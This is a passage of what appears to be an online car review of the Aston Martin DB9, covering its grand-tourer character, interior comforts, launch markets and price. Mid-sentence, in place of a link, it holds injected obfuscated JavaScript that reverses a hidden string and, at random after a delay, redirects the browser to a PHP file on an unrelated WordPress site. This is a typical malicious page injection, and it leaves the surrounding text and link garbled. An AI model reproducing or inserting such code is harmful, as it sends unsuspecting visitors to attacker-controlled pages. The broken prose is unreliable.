But the DB9, unlike the recently announced $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/aston-martin-vanquish-video-rising/” target=”_blank”>Vanquish Super GT, is a grand tourer by trade rather than an out-and-out track beast. Consequently we find luxurious travel – courtesy of leather upholstery, Alcantara headlining, cruise control, and even a Lamy pen and pen holder – is well catered for too. The new model will be dropping at showrooms across the UK and Western Europe from this October onwards, each with a $185,400 price tag.

Perhaps, taking all this into consideration, the time-honoured argument has changed: rather than ‘when’ Aston Martin will change its design cues, the real question is ‘should’ they?
